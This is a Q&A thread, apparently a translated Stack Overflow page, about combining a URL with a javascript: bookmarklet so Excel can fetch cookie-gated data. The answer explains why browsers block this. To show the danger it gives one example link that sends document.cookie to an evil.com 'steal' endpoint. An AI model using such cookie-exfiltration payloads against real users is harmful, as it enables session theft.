2011-11-29 38 views
0

我需要訪問某人的網站中的某些數據。到達該頁面的方法是訪問http://www.foosite.com,然後單擊具有javascript:foo();的鏈接以顯示真實數據。將URL和一個JavaScript小書籤結合在一起

foo()從這樣的:

function foo(param){ 
    createXXXCookie('COOKIE_NAME', param, 60); 
    window.location.href="/current/location"; 
} 

所以這基本上是設置cookie,並再次重新加載頁面。在頁面加載過程中,準備好的文檔將讀取COOKIE_NAME並顯示相應的數據。

我想使用MS Excel從本頁獲取一些數據。所以我一直在尋找一種方法來獲取數據。由於在瀏覽器地址欄中,我可以先輸入http://www.foosite.com,然後輸入javascript:foo();來調用foo()。我想知道是否將URL和書籤組合起來,如http://www.foosite.com;javascript:foo();可以工作?我其實嘗試過這一點,但似乎IE/FF/GC會跳過javascript:...部分,只是繼續URL的第一部分。

回答

1

這是不可能的。

如果有可能,這將是一個致命的安全漏洞。

通過電子郵件向http://somebank.com;javascript:$.getScript('http://evil.com/steal?payload=' + encodeURIComponent(document.cookie))發送短鏈接,然後從那裏自動提交表單。

+0

這是一個很好的觀點。所以在我的情況下,我只是希望MS Excel能夠獲取數據,因爲javascript函數現在不可能。你有什麼想法如何通過它? – Stan

+0

沒有。 – SLaks

+0

我已經使用這個概念將Web數據導入到Excel中。 http://bensullins.com/hacking-excel-web-queries/ – GollyJer